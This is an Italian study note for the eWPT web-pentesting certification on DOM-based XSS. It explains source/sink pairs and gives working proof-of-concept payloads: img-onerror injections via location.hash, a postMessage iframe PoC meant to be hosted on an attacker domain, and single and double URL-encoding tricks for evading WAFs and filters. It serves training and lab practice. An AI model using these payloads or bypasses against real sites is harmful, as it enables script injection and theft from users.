eWPT · Cross-Site Scripting
DOM-Based XSS
Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 03-Stored-XSS.md Lab: PortSwigger Academy, DOM XSS
Obiettivo
Qui la caccia cambia registro: niente request malformate da guardare nei log, niente traffico “sospetto” verso il server, perché il dato non lo tocca proprio. La vulnerabilità vive interamente nel codice JavaScript lato client, e la trovi solo leggendo quel codice — o osservando come una sorgente (source) controllabile finisce dentro una destinazione (sink) pericolosa.
Concetti chiave
Source e Sink
| Source (input controllabile) | Sink (esecuzione pericolosa) |
|---|---|
location.hash |
innerHTML |
location.search |
document.write() |
document.referrer |
eval() |
window.name |
setTimeout("...") (stringa) |
postMessage data |
element.outerHTML |
Se un source finisce, senza sanitizzazione, in un sink, hai una DOM XSS.
Esempio di codice vulnerabile
// source: location.hash
var pos = document.location.hash.substring(1);
// sink: innerHTML
document.getElementById("output").innerHTML = decodeURIComponent(pos);
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| Browser DevTools | Sources tab, breakpoint su sink | traccia flusso dato | fondamentale per DOM XSS |
| Burp DOM Invader | estensione Burp | evidenzia source/sink automaticamente | molto più veloce del debug manuale |
| view-source / JS file | lettura manuale codice | individua pattern source->sink | quando DOM Invader non è disponibile |
Payload / Esempi
Esempio 1: DOM XSS via location.hash -> innerHTML
http://target.com/page#<img src=x onerror=alert(1)>
Spiegazione: il fragment (#...) non viene mai inviato al server, quindi non appare in nessun log server-side; l’intera vulnerabilità è osservabile solo leggendo il JS client-side.
Esempio 2: DOM XSS via postMessage senza validazione origin
// codice vulnerabile nella pagina target
window.addEventListener('message', function(e) {
document.getElementById('content').innerHTML = e.data;
});
PoC da hostare su dominio attaccante:
<iframe src="http://target.com/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>', '*')"></iframe>
Spiegazione: la pagina target accetta messaggi da QUALSIASI origine (* implicito o controllo origin mancante) e li scrive direttamente nel DOM: un iframe malevolo su un altro sito può iniettare codice.
Esempio 3: DOM XSS via jQuery $() come sink implicito
var name = location.hash.slice(1);
$('#welcome').html('Welcome ' + name); // .html() = sink equivalente a innerHTML
http://target.com/page#<img src=x onerror=alert(1)>
Evasion / Bypass Techniques
Bypass sanitizzazione parziale lato client
Con un solo decodeURIComponent() nel sink (come nell’esempio sopra), basta una singola codifica URL per bypassare un filtro che ispeziona solo la stringa raw pre-decodifica (niente < letterale nella richiesta):
http://target.com/page#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Il doppio URL-encoding serve in uno scenario diverso: quando un WAF/proxy davanti all’app decodifica UNA volta per ispezionare il valore (vede ancora caratteri percent-encoded, non <, e lo lascia passare) e poi il codice client applica un’ULTERIORE decodeURIComponent() esplicita, completando la decodifica fino all’HTML eseguibile:
http://target.com/page#%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
Lab Hands-On
Lab 1: PortSwigger, DOM XSS in document.write sink using source location.search
Obiettivo: individuare source/sink e costruire PoC Difficulty: Difficile Time: 1h
Walkthrough breve:
- Usa DOM Invader (o leggi manualmente il JS) per trovare source/sink
- Costruisci URL con payload nel source identificato
- Conferma esecuzione
Common Mistakes
- Cercare DOM XSS solo guardando la response HTML server-side -> non troverai mai nulla così, il flusso vive interamente nel JS, serve leggere il codice client
- Dimenticare che
location.hashnon arriva mai al server -> nessuna traccia in log server, ma resta comunque perfettamente sfruttabile
Link Utili
Connessioni
- Prerequisito: 03-Stored-XSS.md
- Prossimo Step: 05-Encoding-Payloads.md
Checklist di padronanza
- Conosco almeno 5 coppie source/sink pericolose
- So usare DOM Invader o leggere manualmente il JS per trovarle
- So costruire un PoC DOM XSS via hash/search/postMessage